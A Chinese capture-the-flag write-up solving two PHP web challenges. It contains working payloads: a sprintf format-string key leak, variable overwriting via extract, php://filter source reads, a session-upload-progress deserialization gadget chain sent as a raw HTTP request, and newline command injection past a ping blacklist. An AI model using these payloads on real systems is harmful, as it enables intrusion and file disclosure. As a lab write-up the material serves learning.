best_language1
题目是代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php error_reporting(0); highlight_file(__FILE__); include('secret_key.php'); if(!empty($_GET["name"])) { $arr = array($_GET["name"],$secret_key); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } echo $data; }
if( ($secret_key) === $_GET['key']){ echo "<br>you get the key<br>"; $first='aa'; $ccc='amdin'; $i=1; foreach($_GET as $key => $value) { if($i===1) { $i++; $$key = $value; } else{break;} } if($first==="u") { echo "<br>shi fu 666<br>"; $file='phpinfo.php'; $func = $_GET['function']; call_user_func($func,$_GET); if($ccc==="F1ag") { echo "<br>tqltqltqltqltql<br>"; require('class.php'); include($file); } } else { echo "Can you hack me?<br>"; } }
|
比赛的时候做到call_user_func
做不下去了,不知道这里该怎样利用,赛后看了wp,复现一下
前边两个条件利用点都很明显,name=%s
获得key
: th3_k3y_y0u_cann0t_guess2333
利用$$变量覆盖,first=u&key=th3_k3y_y0u_cann0t_guess2333
,进入下一个条件
常规call_user_func
利用方式是call_user_func(assert,$_GET['cmd']);
,但是这里第二个参数给了$_GET
数组,这里怎么都没想到怎么利用,看了wp才发现原来是利用extract()
进行变量覆盖
其实想想下边要使$ccc
等于F1ag
,也就是变量覆盖啊,如果当时搜一下变量覆盖,应该还是可以发现extract()
的,此外,对php还是不熟。。
first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag
到这里包含了phpinfo.php
,得想办法看一下其他文件,这里已知的文件还有class.php
,还是利用extract()
变量覆盖
first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=class.php
得到class.php
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php ini_set('session.serialize_handler', 'php'); session_start(); class Monitor { public $test; function __construct() { $this->test ="index.php"; }
function __destruct() { echo "<br>file:" .$this->test."<br>"; } }
class Welcome { public $obj; public $var; function __construct(){ $this->var='success'; $this->obj=null; } function __toString(){ $this->obj->execute(); return $this->var.""; }
} class Come{ public $method; public $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim($v)); } } function waf($str){ $str=preg_replace("/[<>*;|?\n ]/","",$str); $str=str_replace('/../','',$str); $str=str_replace('../','',$str); return $str; } function get_dir($path){ print_r(scandir("/tmp".$path)); }
function execute() { if (in_array($this->method, array("get_dir"))) { call_user_func_array(array($this, $this->method), ($this->args)); } } } ?>
|
看开头,是php session的反序列化漏洞,且从phpinfo可以看到session.upload_progress
开着
利用方法通过session触发反序列化,执行流程时实例化Monitor对象,在__destruct中执行Welcome对象,通过Welcome再次调用Come,使其执行execute函数
1 2 3 4 5 6
| $come = new Come('get_dir',array('/....//var/www/html')); $welcome = new Welcome(); $welcome->obj = $come; $monitor = new Monitor(); $monitor->test = $welcome; var_dump(serialize($monitor));
|
得到|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:19:"/....//var/www/html";}}s:3:"var";s:7:"success";}}
构造上传,进行利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| POST /class.php HTTP/1.1 Host: 120.55.43.255:13006 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=n2vmnk2v6nfga3mvbtb74tfak4 Connection: close Content-Type: multipart/form-data; boundary=---------------------------18467633426500 Content-Length: 649
-----------------------------18467633426500 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:19:"/....//var/www/html";}}s:3:"var";s:7:"success";}} -----------------------------18467633426500 Content-Disposition: form-data; name="file"; filename="test.txt" Content-Type: text/plain
|O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:19:"/....//var/www/html";}}s:3:"var";s:7:"success";}} -----------------------------18467633426500--
|
得到flag即为7his_1s_F1aG
,再利用文件包含即可得到flag
http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=7his_1s_F1aG
ping
访问题目地址,看到
查看源码
1 2 3 4 5 6 7 8 9 10 11 12
| There is a ping.php
|
POST password[]=
即可绕过
POST password[]=&path=php://filter/convert.base64-encode/resource=ping.php
查看源码,解码后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php if(isset($_REQUEST[ 'ip' ])) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); echo $target; echo "<pre>{$cmd}</pre>"; }
|
过滤了这么多常见分隔符,不知道怎么下手,搜了一下,发现可以利用%0a
换行符,然后就找到flag了
ping.php?ip=127.0.0.1%20%0a%20ls